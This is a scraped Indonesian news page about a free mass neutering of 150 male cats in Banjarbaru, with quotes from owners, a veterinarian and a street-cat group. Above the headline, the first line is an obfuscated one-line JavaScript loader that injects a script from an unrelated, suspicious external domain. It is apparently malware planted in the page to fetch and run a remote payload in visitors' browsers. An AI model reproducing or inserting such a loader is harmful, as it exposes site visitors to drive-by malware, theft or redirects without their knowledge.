(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat tindakan steril atau kebiri, Sabtu (4/5/2024) pagi.

Ratusan anabul jantan ini dibawa satu persatu oleh para pemiliknya untuk dikebiri oleh dokter hewan dari Klinik Hewan Tutu, drh Faturrahman Giri Prakoso. Tindakan steril kucing jantan berlangsung di auditorium Museum Lambung Mangkurat Banjarbaru.

Berkisar antara 5-10 menit kucing jantan ini dilakukan tindakan steril dengan cara dipotong testisnya. Tujuan kebiri untuk menekan populasi kucing dan membebaskannya dari penyakit seperti rabies.

Baca juga: Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

Di antara pemilik kucing jantan, Anissa bersama Amel datang membawa anabulnya yang berumur 11 bulan untuk dilakukan tindakan steril.

“Di samping gratis, bagus juga buat kesehatan kucing, biar gak stres mau kawin jadi agak terkontrol nafsu ingin kawinnya, soalnya testisnya dibuang, kami sangat terbantu dalam merawat kucing,” ujar Anissa dan Amel saat diwawancarai, Sabtu (4/5/2024) pagi.

Mereka mengatakan agar pecinta anabul tak usah khawatir maupun takut dengan tindakan steril terhadap kucing ini. Sebab selain untuk mencapai kesejahteraan hewan juga berdampak baik bagi manusia.

“Pecinta kucing biar lebih openminded lagi untuk mau mensterilkan kucing karena kadang banyak yang masih gak tega kasian, jadi dengan kegiatan ini bagus supaya masyarakat lebih aware dengan kesehatan kucing dan populasinya,” sambungnya.

Sementara itu, drh Faturrahman Giri Prakoso mengatakan, sebelum dilakukan steril, kucing jantan diharuskan untuk puasa minimal 6 jam dengan tidak boleh makan, dan hanya diperbolehkan minum sedikit.

Baca juga: Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

“Dari syarat pendaftaran kita suruh dalam keadaan sehat, terus sudah puasa 6 jam minimal, tidak makan, tapi minum tak masalah. Kemudian kita lalukan pemeriksaan umum kalau sehat bisa disteril,” ujar dokter hewan yang kerap disapa Giri ini.

Saat proses pengkebirian ini juga dilakukan bius terhadap kucing, kemudian setelah dikebiri kucing wajib dilakukan eartif atau memberikan tanda berupa sayatan di bagian telinga kucing sesudah disteril.

Dengan dikebiri, salah satunya disebutkan dokter hewan ini dapat mencegah penyakit FLUTD, penyakit kencing berdarah atau kristal urine, hingga dapat mencegah penyakit.

Sekada diketahui kebiri massal kucing jantan ini digagas oleh Sahabat Kucing Jalanan (SKJ) Banjarmasin bekerjasama dengan klinik hewan di Kota Banjarbaru.

Baca juga: Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin 

Founder SKJ, Dyah Sari mengatakan, masyarakat tidak hanya bisa menyejahterahkan hewan peliharaan dan liar dengan memberi makan atau mengadopsi mereka.

Namun juga dapat melalui gerakan mensterilisasi ini untuk mengendalikan populasi kucing di perkotaan.

“Kami ambil bebas mau kucing peliharaan kucing liar pasar, komplek silahkan mensterilkan, karena kami melihat mau kucing peliharaan kalau gak steril ujung-ujungnya dibuang saat lahir,” ungkap Dyah Sari.

Pecintah hewan peliharaan ini mengatakan, kebiri ini dilakukan kali pertama di Kota Banjarbaru. Meski belum dikatakan overpopulasi, adanya kegiatan kebiri massal seperti ini diharapkan dapat mencegar terjadi kucing beranak pinak tidak terkontrol.

“Kalau di Banjarmasin dan Banjarbaru dibilang overpopulasi belum, masih belum tapi kami tidak ingin, kecuali di titik tertentu misal kaya pasar bisa ada 30-40 kalau gak steril makin banyak kelipatannya,” jelasnya.

Baca juga: Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

“Intinya pertama kami mencegah kucing beranak pinak dan tidak membiarkan overpopulasi, kedua untuk menghindari masyarakat agar tidak menyakiti atau bahkan membunuh kucing,” sambung dia.

Dengan kegiatan ini, Dyah Sari berharap masyarakat yang memelihara kucing dapat berkomitmen tidak membiarkan kucing selalu beranak pinak lalu dibiarkan dibuang ke jalanan.

“Prosteril, sekiranya kalau memang mau punya dua kucing ya dua saja, sesuai kemampuan kemudian lakukan steril, jangan sampai dibiarkan beranak pinak lalu dibuang begitu saja,” tutupnya.

Untuk melakukan tindakan steril atau kebiri juga dapat dilakukan di klinik hewan terdekat, klinik swasta maupun klinik dinas, tentunya sesuai dengan kemampuan bugdet masing-masing. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

2 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

4 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

5 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

17 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

18 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

18 jam ago

This website uses cookies.